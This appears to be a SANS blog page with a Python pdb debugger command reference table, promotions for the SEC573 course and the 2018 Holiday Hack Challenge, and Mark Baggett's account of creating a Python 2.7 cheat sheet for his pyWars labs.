
SYNTAX Example(s) Description
l(ist) [first [,last]] list 1,5 Lists lines 1 through 5 of the program
b(reak) ([file:]lineno | function) [, condition] break

break myscript.py:5

break 100 , x==5

Display all of the existing break points

Break on line 5 of myscript.py

Break on line 100 only stopping if variable x is equal to 5

c(ontinue) continue Execute the program until the end or a breakpoint is reached
s(tep) step Execute until the next line of code in the program, going into function calls as needed
n(ext) next Execute until the next line of code in the current code block is reached
cl(ear) [bpnumber

[bpnumber…]]

clear 5 Clear (delete) break point 5
!<Python statement> !x=5 Change the contents of the variable x to 5
p <expression> p x

p x==10

Print the contents of variable x

Prints True if x has the value of 10

h(elp) pdb command help

help break

Display a full list of pdb commands

Display help for the break command

 

For more details on PDB and to really understand how to use it check out SANS “SEC573: Automating Information Security with Python.” Python SEC573 teaches Defenders, Forensics and Penetration Testers essential skills for automating tasks that make you more effective in your job.  No matter which side of the security equation you are on this course can make you more effective.

Mark Baggett

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

SANS Pen Test Cheat Sheet: Python – pyWars (SEC573)

by: Mark Baggett

Python skills are incredibly useful for all kinds of information security personnel, from pen testers to cyber defenders to forensics pros.  With so many tools written in Python and so many Python libraries to work magic in just a few lines of code, I wrote a course (SANS SEC573) on how to get the most out of this handy language.

But, In 2012 I faced a challenge.

I had created a software platform for delivering SEC573’s Python based labs to students called pyWars and I needed to test that server under load before I used it in a classroom environment.  I had already run fuzzers and traffic generators against the server, but nothing quite matches the testing that is done by a human.  I know this to be true because we succeed as Penetration testers despite the availability of high quality vulnerability scanners!  I decided to have a SANS@Night session where I would issue an open invitation to students at the conference to come and try out the new SEC573 labs.  One of the immutable rules of information security is this, if you invite people to come hack stuff and give them free beer, then people will come.  So that is what we did.

But what about people who don’t know Python?!

I can’t expect people to really test my labs when I haven’t taught them any Python.  So, I boiled down the bare essentials into a 1 hour introduction I could present to get people going on the labs.  I would present the material and if everyone remembered EVERYTHING I said they could complete the labs.  But none of us remember everything.  I needed a condensed version of the essential Python skills required to perform common tasks covered in the courseware that I could hand out.  Thus the SEC573 Python 2.7 cheat sheet was born.

This cheat sheet is specific to version 2.7 and it covers the bare essential of coding in Python.  It is intended to help you quickly find the proper syntax of commonly used Python commands.   Whether you are going to take the new GPYC  – GIAC (Python Coder) Certification or just want to knock out a program without pulling our your reference manuals I hope that you will find the cheat sheet useful.Python_CheatSheet_07052016

Download: Python Cheat Sheet – 2pg PDF

Learn more about GIAC’s *new* Python Coder CertificationGPYC.

Mark Baggett
SANS Instructor
Course Author – SEC573

SANS Online Training:

OLT_forBlogs

All SANS Online Training courses include:

  • Convenience and Flexibility
  • Subject-Matter Expert Support
  • Anytime, Anywhere access for four or more months
  • Save costs and time – no travel necessary

Test Drive any of 30 SANS courses today at www.sans.org/demo

“I love the material, I love the SANS Online delivery, and I want the entire industry to take these courses.” – Nick Sewell, IIT